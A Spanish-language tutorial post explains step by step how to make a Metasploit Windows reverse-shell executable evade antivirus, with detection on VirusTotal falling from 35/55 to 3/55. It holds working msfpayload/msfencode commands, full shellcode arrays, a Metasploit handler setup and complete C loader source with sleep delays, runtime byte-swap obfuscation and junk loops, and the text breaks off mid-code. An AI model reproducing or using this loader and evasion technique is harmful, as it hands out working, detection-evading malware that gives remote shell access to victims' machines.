Cómo Saltar Todos los Antivirus de VirusTotal

En este artículo voy a explicar cómo, en unos pocos pasos, podemos conseguir un ejecutable malicioso que no sea detectado por ninguno de los 55 antivirus del servicio online www.virustotal.com

Como siempre aclaro a mis clientes y alumnos, los servicios de análisis de archivos en línea deben ser tomados más como una referencia estadística que como un resultado definitivo. Porque, el hecho de que un antivirus X no detecte como malicioso un archivo que subimos, no quiere decir que ese mismo antivirus, instalado en una PC, no lo detecte. Básicamente, las condiciones de testeo son diferente y, es por eso, que debemos tomar esos resultados como estadísticos. Si tenemos un archivo que es detectado por 40 de los 55 antivirus utilizados, ya sabemos que es un archivo muy “detectable”. Si, por el contrario, analizamos un archivo que es detectado por 8 de los 55 antivirus, ya estamos en presencia de un programa más “sigiloso”.

Es por eso que, al final de este artículo, se hace un análisis con tres antivirus instalados en una máquina virtual, para probar qué tan cierto es eso de “indetectable”.

El entorno de pruebas

Para la generación de los archivos maliciosos voy a utilizar Kali Linux, con la versión 4.10 de Metasploit Framework. Obviamente, pueden utilizar otra distribución, mientras tengan Metasploit Framework (no recomiendo utilizar MSF sobre sistemas Windows porque, en mi experiencia, no funciona tan bien como en sistemas GNU/Linux).

También voy a utilizar una máquina virtual con Windows 7 (aunque también pueden utilizar otra versión, como XP, Vista, 8). Lo único que vamos a hacer es probar que los archivos generados se ejecuten correctamente. Y vamos a necesitar un compilador de lenguaje C, que en mi caso es xxx. Este último lo vamos a utilizar para generar el programa malicioso, que utilizará como base los payloads generados por MSF.

Paso 1: El payload básico

Como toda prueba debería empezar por el caso más simple, vamos a generar un payload totalmente detectable, utilizando msfpayload, de la siguiente forma:

msfpayload windows/shell/reverse_tcp LHOST=192.168.1.41 LPORT=4444 X > sample01.exe

Esto nos va a generar el archivo “sample01.exe” que, al ejecutarse, va a conectarse con nuestro servidor de MSF a la IP que acabo de especificar (en mi caso, 192.168.1.41), al puerto TCP/4444.

(La “X” casi al final del comando es para que el formato de archivo sea ejecutable de windows, o sea, PE32)

Al finalizar, el comando va a tener una salida similar a la siguiente:

Created by msfpayload (http://www.metasploit.com).
Payload: windows/shell/reverse_tcp
Length: 287
Options {"LHOST"=>"192.168.1.41", "LPORT"=>"4444"}

Una vez obtenido ese archivo, lo subimos a VirusTotal. En mi caso, la detección fue de 35/55 (es decir, 35 de los 55 antivirus lo detectaron como malicioso), lo cual es un porcentaje de detección altísimo. Nuestro objetivo, será bajarlo al mínimo (obviamente, el ideal es bajarlo a cero).

Como una pequeña prueba, intenté modificar el puerto al que se conecta el payload, sustituyendo el TCP/4444 por el TCP/443. Hice esta prueba porque el puerto TCP/4444 es ampliamente utilizado por MSF, y eso puede llegar a hacer que varios antivirus “sospechen” de ese comportamiento. Así que modifiqué el comando anterior por el siguiente:

msfpayload windows/shell/reverse_tcp LHOST=192.168.1.41 LPORT=443 X > sample02.exe

Aunque, luego de subir el archivo a VirusTotal, la detección quedó igual (35/55)

Aclaro que, si alguien piensa que la prueba de cambiar el puerto es algo “tonta”, en muchos casos similares se baja el índice de detección de forma considerable. Por ejemplo, como he explicado en ocasiones anteriores (y muchos otros lo han hecho también), podemos modificar el puerto de escucha del backdoor “tini”, del TCP/7777 a cualquier otra cosa, y eso va a reducir, aunque sea un poco, el índice de detección.

En resumen, por ahora seguimos igual.

Paso 2: El payload dentro de otro archivo

Lo que se me ocurrió hacer como paso siguiente, fue crear un archivo ejecutable, en C, que contenga la información del payload generado por msfpayload. Esto no es invento mío, es una técnica ampliamente utilizada, en la cual un archivo, en cualquier lenguaje, incluye dentro de sí el código shellcode (en este caso llamado más bien “payload” por la nomenclatura de MSF).

Así que, haciendo una modificación al comando anterior, vamos a hacer que la salida de msfpayload no sea un archivo ejecutable, si no un cadena de texto utilizable en código fuente C.

msfpayload windows/shell/reverse_tcp LHOST=192.168.1.41 LPORT=443 C

Después de este comando, obtendremos una salida similar a la siguiente:

msfpayload windows/shell/reverse_tcp LHOST=192.168.1.41 LPORT=443 C 
/*
 * windows/shell/reverse_tcp - 287 bytes (stage 1)
 * http://www.metasploit.com
 * VERBOSE=false, LHOST=192.168.1.41, LPORT=443, 
 * ReverseConnectRetries=5, ReverseListenerBindPort=0, 
 * ReverseAllowProxy=false, ReverseListenerThreaded=false, 
 * EnableStageEncoding=false, PrependMigrate=false, 
 * EXITFUNC=process, InitialAutoRunScript=, AutoRunScript=
 */
unsigned char buf[] = 
"\xfc\xe8\x86\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30"
"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
"\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2"
"\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x8b\x4c\x10\x78\xe3\x4a"
"\x01\xd1\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3c\x49\x8b"
"\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d\x01\xc7\x38"
"\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58\x8b\x58\x24"
"\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01"
"\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58\x5f"
"\x5a\x8b\x12\xeb\x89\x5d\x68\x33\x32\x00\x00\x68\x77\x73\x32"
"\x5f\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8\x90\x01\x00\x00\x29"
"\xc4\x54\x50\x68\x29\x80\x6b\x00\xff\xd5\x50\x50\x50\x50\x40"
"\x50\x40\x50\x68\xea\x0f\xdf\xe0\xff\xd5\x97\x6a\x05\x68\xc0"
"\xa8\x01\x29\x68\x02\x00\x01\xbb\x89\xe6\x6a\x10\x56\x57\x68"
"\x99\xa5\x74\x61\xff\xd5\x85\xc0\x74\x0c\xff\x4e\x08\x75\xec"
"\x68\xf0\xb5\xa2\x56\xff\xd5\x6a\x00\x6a\x04\x56\x57\x68\x02"
"\xd9\xc8\x5f\xff\xd5\x8b\x36\x6a\x40\x68\x00\x10\x00\x00\x56"
"\x6a\x00\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53"
"\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x01\xc3\x29\xc6\x85\xf6\x75"
"\xec\xc3";

/*
 * windows/shell/reverse_tcp - 240 bytes (stage 2)
 * http://www.metasploit.com
 */
unsigned char buf[] = 
"\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30"
"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
"\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2"
"\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85"
"\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3\xe3"
"\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d"
"\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58"
"\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b"
"\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff"
"\xe0\x58\x5f\x5a\x8b\x12\xeb\x86\x5d\x68\x63\x6d\x64\x00\x89"
"\xe3\x57\x57\x57\x31\xf6\x6a\x12\x59\x56\xe2\xfd\x66\xc7\x44"
"\x24\x3c\x01\x01\x8d\x44\x24\x10\xc6\x00\x44\x54\x50\x56\x56"
"\x56\x46\x56\x4e\x56\x56\x53\x56\x68\x79\xcc\x3f\x86\xff\xd5"
"\x89\xe0\x4e\x56\x46\xff\x30\x68\x08\x87\x1d\x60\xff\xd5\xbb"
"\xf0\xb5\xa2\x56\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a"
"\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5";

(Los contenidos que obtengan ustedes, a nivel de OpCodes, es decir, todos esos caracteres del estilo “\x80\xfb”, pueden diferir de los que yo muestro en el artículo, pero el funcionamiento va a ser el mismo).

De todo este código, que son dos etapas (Stage1 y Stage2) únicamente necesitamos la primera, que es la que tiene que tener nuestro archivo porque, la segunda, va a ser enviada desde MSF a la víctima, para terminar de establecer la conexión y darnos acceso shell.

Así que ahora vamos a generar un código C, que va a contener el Stage1, quedando más o menos así:

#include <stdio.h>
#include <windows.h>

unsigned char buf[] =
"\xfc\xe8\x86\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30"
"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
"\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2"
"\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x8b\x4c\x10\x78\xe3\x4a"
"\x01\xd1\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3c\x49\x8b"
"\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d\x01\xc7\x38"
"\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58\x8b\x58\x24"
"\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01"
"\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58\x5f"
"\x5a\x8b\x12\xeb\x89\x5d\x68\x33\x32\x00\x00\x68\x77\x73\x32"
"\x5f\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8\x90\x01\x00\x00\x29"
"\xc4\x54\x50\x68\x29\x80\x6b\x00\xff\xd5\x50\x50\x50\x50\x40"
"\x50\x40\x50\x68\xea\x0f\xdf\xe0\xff\xd5\x97\x6a\x05\x68\xc0"
"\xa8\x01\x29\x68\x02\x00\x01\xbb\x89\xe6\x6a\x10\x56\x57\x68"
"\x99\xa5\x74\x61\xff\xd5\x85\xc0\x74\x0c\xff\x4e\x08\x75\xec"
"\x68\xf0\xb5\xa2\x56\xff\xd5\x6a\x00\x6a\x04\x56\x57\x68\x02"
"\xd9\xc8\x5f\xff\xd5\x8b\x36\x6a\x40\x68\x00\x10\x00\x00\x56"
"\x6a\x00\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53"
"\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x01\xc3\x29\xc6\x85\xf6\x75"
"\xec\xc3";

int main(int argc, char **argv)
{
    int (*f)();

    f = (int (*)())buf;(int)(*f)();
}

Este código tiene pocas líneas (si quitamos las líneas del shellcode), las voy a explicar:

#include <stdio.h>
#include <windows.h>

Incluyen dos librerías (stdio.h y windows.h). En muchos de los ejemplos el programa real no las va a utilizar, pero fueron dejadas porque en varias de mis pruebas internas las utilicé y también porque el hecho de que un archivo no incluya ninguna librería externa muchas veces es interpretado como “sospechoso” por los programas antimalware, así que no hacen daño para nada.

unsigned char buf[] =

En esta línea d código definimos la variable “buf” que va a ser la encargada de contener nuestro shellcode en las líneas de más abajo. Recuerden que, en C, la finalización de la instrucción se marcan con el caracter de punto y coma (;), por lo que podríamos haber puesto la definición de la variable y la shellcode toda en una única línea, pero se hace así simplemente para que el código sea más legible.

int main(int argc, char **argv)

Típico en todo programa C, aunque podríamos haber utilizado otras variantes, como:

void main()

Pero quedó así porque es lo que pone automáticamente el entorno de desarrollo que utilicé, y quedó así. :)

int (*f)();
 
f = (int (*)())buf;
 
(int)(*f)();

Estas tres líneas son muy utilizadas para cargar shellcodes dentro de código C y son algo confusas…

La primera, define que “f” es un puntero a una función (function pointer), que no tiene parámetros (por eso los paréntesis vacíos del final de la línea) y que devuelve un int (por eso el “int” del principio de la línea).

La segunda, hace que “f” apunte a nuestra shellcode, que está definida en la variable “buf”. Básicamente, hace una conversión de tipos (type casting), y convierte nuestra shellcode (que estaba almacenada en una variable del tipo char[]) en un puntero a una función que tiene el contenido de la shellcode. En resumen, hace que “f”, al ser llamado, ejecute el código de la shellcode.

La tercera, ejecuta la función “f”, que contiene nuestra shellcode, y convierte el valor de retorno de la shellcode en un dato del tipo “int”.

Una vez hecho esto, podemos compilar nuestro programa y obtener el ejecutable, que yo llamé “sample03.exe”.

Antes de ejecutarlo, vamos a tener que preparar MSF para recibir la conexión inversa a nuestro puerto TCP/443, para eso, en msfconsole, vamos a hacer lo siguiente:

use exploit/multi/handler
set PAYLOAD windows/shell/reverse_tcp
set LHOST 192.168.1.41
set LPORT 443
exploit

Obviamente, deberán reemplazar la dirección IP por la que corresponda a su máquina con MSF.

Hecho eso, vamos a obtener una salida como la siguiente:

[*] Started reverse handler on 192.168.1.41:443
[*] Starting the payload handler...

La cual nos indica que MSF está listo para recibir la conexión en el puerto TCP/443

Paso seguido, lo vamos a ejecutar, para comprobar que funciona.

Y deberíamos obtener una shell, con los permisos del usuario que ejecutó el archivo “sample03.exe” desde el sistema Windows.

Pero, lo más importante, vamos a subir el archivo a VirusTotal, para ver cuál es el índice de detección. En mi caso, la detección bajó a 8/55, es decir que, solamente ocho de los 55 antivirus detectaron el archivo como malicioso. Lo cual es una reducción impresionante!

av-bypass-sample03

Hasta ahora, bajamos el índice de detección de 35/55 a 8/55, y solamente escribimos un poquito de código C porque, vamos a ser sinceros, el trabajo grande lo hacemos con Metasploit Framework! ;)

Paso 3: msfencode

Aquí llega uno de los grandes salvadores en cuanto a la evasión de antivirus se refiere! Y, junto son msfencode, llega la utilización de su codificador más popular, “shikata_ga_nai”.

Para esto, vamos a modificar el comando con el que generamos el código C, y lo vamos a dejar así:

msfpayload windows/shell/reverse_tcp LHOST=192.168.1.41 LPORT=443 R | msfencode -e x86/shikata_ga_nai -t c

Lo que hacemos con esto es, básicamente, generar el payload con msfpayload en formato crudo (“raw”, de ahí la “R”) y se lo enviamos directamente a msfencode para que haga su trabajo y nos devuelva el código C del payload codificado con shikata_ga_nai.

Esto mismo también lo podríamos haber hecho utilizando un archivo temporal y dos ejecuciones de comandos aisladas, así:

msfpayload windows/shell/reverse_tcp LHOST=192.168.1.41 LPORT=443 R > tmp.raw
msfencode -i tmp.raw -e x86/shikata_ga_nai -t c

Una vez hecho esto, vamos a obtener una salida más o menos así:

[*] x86/shikata_ga_nai succeeded with size 314 (iteration=1)

unsigned char buf[] =
"\xbe\x70\xa7\x5b\x25\xdb\xd4\xd9\x74\x24\xf4\x5b\x33\xc9\xb1"
"\x48\x31\x73\x15\x83\xeb\xfc\x03\x73\x11\xe2\x85\x5b\xb3\xa3"
"\x65\xa4\x44\xcc\xec\x41\x75\xde\x8a\x02\x24\xee\xd9\x47\xc5"
"\x85\x8f\x73\x5e\xeb\x07\x73\xd7\x46\x71\xba\xe8\x66\xbd\x10"
"\x2a\xe8\x41\x6b\x7f\xca\x78\xa4\x72\x0b\xbd\xd9\x7d\x59\x16"
"\x95\x2c\x4e\x13\xeb\xec\xe5\x6f\xfc\x74\x19\x25\xfd\x55\x8c"
"\x32\xa4\x75\x2e\x97\xdc\x3f\x28\xf4\xdf\xf6\xc3\xce\x94\x08"
"\x02\x1f\x54\x3b\x6a\xf3\x6b\xf3\x67\x0a\xab\x34\x98\x79\xc7"
"\x46\x25\x79\x1c\x34\xf1\x0c\x81\x9e\x72\xb6\x61\x1e\x56\x20"
"\xe1\x2c\x13\x27\xad\x30\xa2\xe4\xc5\x4d\x2f\x0b\x0a\xc4\x6b"
"\x2f\x8e\x8c\x28\x4e\x97\x68\x9e\x6f\xc7\xd5\x7f\xd5\x83\xf4"
"\x94\x60\xce\x90\x59\x40\xf1\x60\xf6\xd3\x82\x52\x59\x4f\x0d"
"\xdf\x12\x49\xca\x20\x09\x2d\x44\xdf\xb2\x4d\x4c\x24\xe6\x1d"
"\xe6\x8d\x87\xf6\xf6\x32\x52\x58\xa7\x9c\x0d\x18\x17\x5d\xfe"
"\xf0\x7d\x52\x21\xe0\x7d\xb8\x4a\x8a\x84\x2b\xb5\xe2\x86\x82"
"\x5d\xf0\x88\xd5\x26\x7d\x6e\xbf\x48\x2b\x38\x28\xf0\x76\xb2"
"\xc9\xfd\xad\xbe\xca\x76\x41\x3e\x84\x7e\x2c\x2c\x71\x8f\x7b"
"\x0e\xd4\x90\x56\x25\xd9\x04\x5c\xec\x8e\xb0\x5e\xc9\xf9\x1e"
"\xa1\x3c\x72\x96\x37\xff\xed\xd7\xd7\xff\xed\x81\xbd\xff\x85"
"\x75\xe5\x53\xb3\x79\x30\xc0\x68\xec\xba\xb1\xdd\xa7\xd2\x3f"
"\x3b\x8f\x7d\xbf\x6e\x11\x42\x16\x57\x97\xb2\x1c\xbb\x5b";

Nótese que ahora no tememos Stage1 y Stage2, simplemente tenemos el código que debemos utilizar en nuestro programa C.

No voy a pegar el código del programa, porque es exactamente igual al código C anterior, solamente que reemplazamos la parte en la que definimos la shellcode y le ponemos el contenido que nos acaba de arrojar msfencode.

Para mi sorpresa, el resultado de VirusTotal volvió a ser 8/55, es decir, que el íncide de detección no cambió en nada. Lo cual, simplemente quiere decir que debemos seguir trabajando un poco más.

(Tengamos en cuenta que ese archivo que acabamos de generar, yo lo llamé “sample04.exe” y lo aclaro porque vamos a generar unos cuantos archivos más, y quiero conservar el hilo del nombre que le pongo a cada ejecutable).

Paso 4: Lléndonos a Dormir

Nosotros no! El programa es el que se tiene que ir a dormir. ¿Para qué? La verdad, es que no sé bien de qué serviría que un programa espere una N cantidad de segundos antes de tomar cualquier acción pero, parece que algunos antivirus le prestan “atención” a esto.

Para hacer que el programa espere 60 segundos antes de continuar ejecutando sus siguientes instrucciones, vamos a agregar la siguiente línea de código:

Sleep(60000);

La función “Sleep” está definida en la librería “windows.h”, asi que ahora estamos necesitando esa librería, no la quiten!

El código del programa nos quedaría así:

int main(int argc, char **argv)
{
    Sleep(60000);

    int (*f)();

    f = (int (*)())buf;

    (int)(*f)();
}

(Recuerden que arriba de este código tiene que estar la línea que define la variable “buf” y le pone el contenido de nuestra shellcode, solo que acá no lo pego porque sería extender el contenido del post de forma innecesaria).

Una vez hecho esto, y compilado el programa, que llamé “sample05.exe”, lo subí a VirusTotal. Pude ver que el índice de detección bajó a 5/55, es decir, que ya quitamos a otros tres de la lista!

Como esto lo había hecho, en mi caso, con el código shellcode sin codificar, luego compilé un “sample06.exe” que contenía el shellcode codificado con msfencode+shikata_ga_nai, obteniendo un índice de detección de 4/55. Vamos mejorando…

Pero, aún queda trabajo por hacer.

Paso 5: On-The-Fly Mod

Algo que se me ocurrió para bajar un poco más el índice de detección (y seguramente no fui el primero en tener esta idea) es modificar el código shellcode durante la ejecución del programa. Esto lo hago porque, tal vez, alguno de los antivirus intenta interpretar los datos que están almacenados en el programa, sin que esté se está ejecutando. Es decir, si guardo la shellcode como me la dan msfpayload o msfencode, tal vez alcance con leer el contenido del archivo para ver que hay “algo raro”.

Si bien es cierto que, justamente, la tarea de msfencode es la de “ofuscar” el código, para que no sea tan detectable, tal vez no venga mal agregar alguna que otra técnica “quick-n-dirty” (rápida y sucia).

Para esto, lo que voy a hacer es pedirle a msfencode que evite la inclusión de ciertos OpCodes particulares. Una vez hecho esto, voy a sustituir algunos OpCodes que sí están incluidos en la shellcode, por esos otros que sé que no van a estar, y luego voy a revertir ese proceso en tiempo de ejecución.

Parece complicado, pero tal vez sea falencia del que explica la técnica… :p

Vamos al código y después a re-explicarlo. Primero, generamos el payload y lo codificamos, indicando que queremos evidar los opcodes “\x15”, “\x25”, “\x35”, y “x65”.

msfpayload windows/shell/reverse_tcp LHOST=192.168.1.41 LPORT=443 R | msfencode -e x86/shikata_ga_nai -b ‘\x15\x25\x35\x65’ -c 13 -t c

(En este caso modifiqué el comando msfencode con el parámetro “-c 13” para que la codificación se realice 13 veces en lugar de una)

El resultado obtenido lo podemos almacenar en un archivo o procesar directamente con una tubería. Lo importante es realizar el reemplazo de caracteres con el comando “sed”, como se va a mostrar a continuación.

sed s/'10'/'15'/g | sed s/'20'/'25'/g | sed s/'30'/'35'/g | sed s/'60'/'65'/g

O sea, que se conectamos todos los comandos con tuberías, nos quedarían así:

msfpayload windows/shell/reverse_tcp LHOST=192.168.1.41 LPORT=443 R | msfencode -e x86/shikata_ga_nai -b '\x15\x25\x35\x65' -c 13 -t c | sed s/'10'/'15'/g | sed s/'20'/'25'/g | sed s/'30'/'35'/g | sed s/'60'/'65'/g

La salida de ese archivo va a tener los reemplazos realizados de la siguiente manera:

"\x10" -> "\x15"

"\x20" -> "\x25"

"\x30" -> "\x35"

"\x60" -> "\x65"

En resumidas cuentas… acabamos de romper la shellcode, porque esto, así, no funciona. Claro, modificamos OpCodes, intercambiandolos de una forma que no tiene mucha lógica. Pero ahora vamos a modificar también nuestro código C, para que se encargue de volver el proceso atrás cada vez que sea ejecutado. Lo importante es que, ahora, donde definimos la variable “buf”, pongamos el contenido del shellcode modificado. Y, el resto del código, va a quedar como sigue:

int main(int argc, char **argv)
{
    Sleep(60000);

    int x;
    int len;

    len = sizeof(buf);

    for(x=0; x<len; x++)
    {
        if (buf[x] == 0x15) { buf[x] = 0x10; }
        if (buf[x] == 0x25) { buf[x] = 0x20; }
        if (buf[x] == 0x35) { buf[x] = 0x30; }
        if (buf[x] == 0x65) { buf[x] = 0x60; }
    }

    int (*f)();

    f = (int (*)())buf;

    (int)(*f)();
}}

Como podemos observar, se agregaron algunas líneas que lo que hacen es recorrer la variable “buf”, donde se encuentra almacenado el shellcode, y realizar la inversa de las modificaciones que habíamos hecho antes. Por lo tanto, cuando el shellcode sea ejecutado, va a funcionar bien, porque va a estar igual que el original, producido por msfencode.

Voy a explicar brevemente el funcionamiento de cada línea:

len = sizeof(buf);

Hace que el contenido de la variable “len” sea la cantidad de valores hexadecimales almacenados en la variables “buf”, o sea, la cantidad de OpCodes.

for(x=0; x<len; x++)>)

Forma un bucle que cada vez que se ejecuta incrementa el valor de la variable “x” (que empieza valiendo cero). Este bucle termina cuando el valor de x deja de ser menor que el valor de la variable “len”, es decir, cuando la cantidad de iteraciones ha igualado a la cantidad de opcodes que tenemos en nuestra shellcode.

if (buf[x] == 0x15) { buf[x] = 0x10; }
if (buf[x] == 0x25) { buf[x] = 0x20; }
if (buf[x] == 0x35) { buf[x] = 0x30; }
if (buf[x] == 0x65) { buf[x] = 0x60; }

En cada una de las iteraciones del bucle, tomamos el valor de la variable “x” como referencia de un valor hexadecimal del shellcode (cuando x valga 0, tomamos el primer valor del shellcode, cuando “x” valga 5 tomamos el cuarto valor de la shellcode, y así hasta recorrer todos los valores).

Para cada iteración preguntamos si el valor del shellcode en el que nos encontramos concuerda con uno de los valores que habíamos reemplazado al generar el shellcode y modificarlo con el comando “sed”. Si es así, lo reemplazamos por su valor original.

En resumen, el shellcode que se encuentra almacenado en el archivo no es válido, pero se vuelve válido cuando el programa se ejecuta.

NOTA: Esta técnica de ofuscación es casi demasiado simple para lo que estamos acostumbrados actualmente. No se intenta decir que sea algo novedoso ni nada por el estilo. Simplemente, es una técnica más que se agrega a todo lo que estamos haciendo para evitar la detección de los antivirus.

Después de hacer todo esto, y compilar el código, obteniendo el archivo “sample07.exe”, pude ver que, en VirusTotal, el índice de detección bajó a 3/55… seguimos acercándonos.

Paso 6: Agregando Código Basura

En la gran mayoría de los casos, el código basura (código que no hace nada realmente útil) no sirve para nada. En nuestro caso, vamos a intentar de que nos sirva para algo.

Lo que vamos a hacer a continuación es agregar código basura a nuestro programa, para intentar confundir la detección antivirus.

Para esto, las líneas de código que voy a agregar son las siguientes:

for(x=0; x<5000000; x++)
{
    junk = rand() % 10;
    malloc(10 * sizeof(int));
}

Lo único que hacen estas líneas es producir 5 millones de iteraciones y, en cada iteración, se ejecutan las líneas que vemos dentro del bucle. Verdaderamente, son dos líneas de código que elejí casi al hazar, están simplemente para que el programa “haga cosas”.

Esas líneas, en mi caso, las coloqué en dos lugares del programa.

Ahora voy a terminar de copiar el programa completo, con el shellcode y absolutamente todas las líneas necesarias para que funcione:

#include <stdio.h>
#include <windows.h>

unsigned char buf[] =
"\xb8\xd1\xc4\x52\xa7\xda\xc6\xd9\x74\x24\xf4\x5a\x2b\xc9\xb1"
"\x99\x83\xc2\x04\x31\x42\x11\x03\x42\x11\xe2\x24\x1d\x92\x7e"
"\xb2\xba\xe7\x39\x2c\xfc\x5d\x94\x0e\x2b\xab\x59\x3d\x1a\x6d"
"\x8d\xc2\x9b\x75\xb2\x94\x0f\xce\xef\x92\xc6\xcb\xc0\x88\x05"
"\x5e\x42\xb4\x73\x34\xdd\x6b\xf6\x9f\x0c\x8d\x2f\x8c\x47\x22"
"\x11\xd3\x9e\x29\x33\x25\x73\xe7\x47\x56\x5d\x33\x2e\x37\x27"
"\x49\xa0\x44\x46\xa8\x94\x8e\x62\xf3\xfe\x63\xf4\x14\x33\x4b"
"\x04\x15\x39\xc3\xce\x03\xd0\x61\xa3\x13\x73\x24\x2a\x02\x8c"
"\xef\x11\x0f\x61\x68\xa5\x41\x4a\xa3\x3b\x26\xce\xd6\xb4\x6c"
"\x97\xc0\x3c\xa7\xad\x11\x71\xc4\x1e\x7e\xfb\xd8\x69\xc9\xec"
"\xaa\x1f\xe6\x1f\x98\xc1\x24\x5a\x7f\xba\x26\x1e\xbc\x45\x6b"
"\x38\x33\xb0\x40\x68\xe4\xbe\x7a\x4d\x1b\x3a\x37\xd7\x6d\xa2"
"\x0e\xae\x81\xcf\xa4\x37\x97\x14\x1d\xad\x4e\xb5\x50\xe7\x36"
"\x59\xe6\xc9\x36\x24\x00\x95\xa5\x57\x5c\xfb\xbe\xee\xad\x4b"
"\x89\x35\xbc\x67\x5a\x73\xb4\xac\xc2\x3e\x7e\x70\xac\x77\xce"
"\x84\x92\x13\x68\x70\xbd\xdd\xa1\x96\xa5\x32\x86\x32\xf7\x9b"
"\xc0\x1a\xe7\x26\x14\x46\x2c\x35\x9f\x1c\xcb\x6c\x97\x40\xb8"
"\xfa\x08\x81\x04\x70\x91\x23\xe4\xdb\xff\xc6\x75\x21\x4f\xbf"
"\x3c\x48\x86\x9f\xff\xd7\xaf\x07\xaf\x51\x5f\xce\xd6\xe5\xa0"
"\x5a\xd4\x35\x25\xd6\x48\x8d\xb8\x06\xee\x8e\xe9\xbc\x0d\x70"
"\x3b\xb9\x94\xd1\x7a\x7c\xfe\x26\x36\x83\x3b\xcc\xec\x73\x59"
"\x74\x58\x7e\x2b\x58\xfc\x5f\x2a\xae\x9e\x63\xe5\xfc\x17\x3e"
"\x12\xef\xe6\x98\xa5\x1d\xdf\xb4\xc7\x5a\xaa\xf3\xea\x49\x73"
"\x97\xa5\x1a\xb3\x84\x7f\x66\xce\x6e\xd0\xe7\x39\x24\x98\xbc"
"\x16\x99\x2e\xf2\x9b\xfd\x22\x6a\xd9\x1c\x74\x5d\xb8\xc0\x0c"
"\x9d\x31\x84\xc8\x2e\x56\x4d\x3b\xe0\x4d\x36\xbc\x93\xf2\xc4"
"\xc6\x9d\xad\xcb\xe0\xab\xb7\x37\x5e\x79\x9b\x92\xed\x58\xa4"
"\x41\x13\x36\xda\x0c\x6d\x4a\x1d\xf1\xdd\x8d\xbf\xe7\xde\x7f"
"\x6f\x97\xe3\xad\x57\x12\x21\x78\x74\x92\xdd\x2e\x61\x66\xec"
"\x3b\xaa\x86\x46\xcf\x0e\x86\x4f\x14\xb1\x3b\xa9\xdf\xa9\x3f"
"\xf5\xf5\xc5\x6f\xf4\x94\x08\xf4\xe5\xf8\x01\x24\xae\x44\x8c"
"\xd6\xcd\x2a\x96\x27\x24\x35\x24\x18\xcc\x1a\x7b\xb4\x2e\xb6"
"\xf9\xa6\x4d\xfa\x94\x2d\x0d\x93\x69\xf1\xda\x08\x3f\xfe\xc3"
"\xe0\x11\xba\xa0\x87\x17\x16\xd8\xf8\xaf\x50\x48\x9c\x84\x26"
"\xca\x94\x87\x33\x61\x52\x75\x54\xb2\x69\x3f\x00\x2c\x47\xcc"
"\xf5\xad\x5c\xbe\xb6\x50\xbe\x52\x90\xa5\x8d\x53\x3e\xd6\x7c"
"\xcc\x13\x44\x19\x07\xc4\x6b\x23\xc1\x1d\x45\xc1\x5e\x6b\xf1"
"\x48\xcc\x18\xee\x01\x78\xdb\x66\xde\x3b\xa8\x77\xc7\xc4\x35"
"\x04\x12\x87\x7a\x63\x69\xc6\xc1\x3a\xcc\xb4\x19\x8d\xcd\x1e"
"\xfd\xff\x68\x28\x7f\x77\xa0\xc6\x87\xa0\xc9\x22\xa7\x4a\x3f"
"\x2e\xa9\xf3\x7b\x4f\x76\x21\x4b\xa9\x03\x53\xa2\xef\xfe\xa8"
"\x79\x4a\x4d\x78\xd4\x72\x90\x09\x56\xab\xa0\xf4\x49\x39\xf1"
"\x2f\x29\xe1\xd1\x52\x93\xa8\x52";

int main(int argc, char **argv)
{
    Sleep(60000);

    int x;
    int len;
    int junk;

    len = sizeof(buf);

    for(x=0; x<5000000; x++)
    {
        junk = rand() % 10;
        malloc(10 * sizeof(int));
    }

    for(x=0; x<len; x++)
    {
    if (buf[x] == 0x15) { buf[x] = 0x10; }
    if (buf[x] == 0x25) { buf[x] = 0x20; }
    if (buf[x] == 0x35) { buf[x] = 0x30; }
    if (buf[x] == 0x65) { buf[x] = 0x60; }
    }

    int (*f)();

    f = (int (*)())buf;(int)(*f)();

    for(x=0; x<5000000; x++)
    {
        junk = rand() % 10;
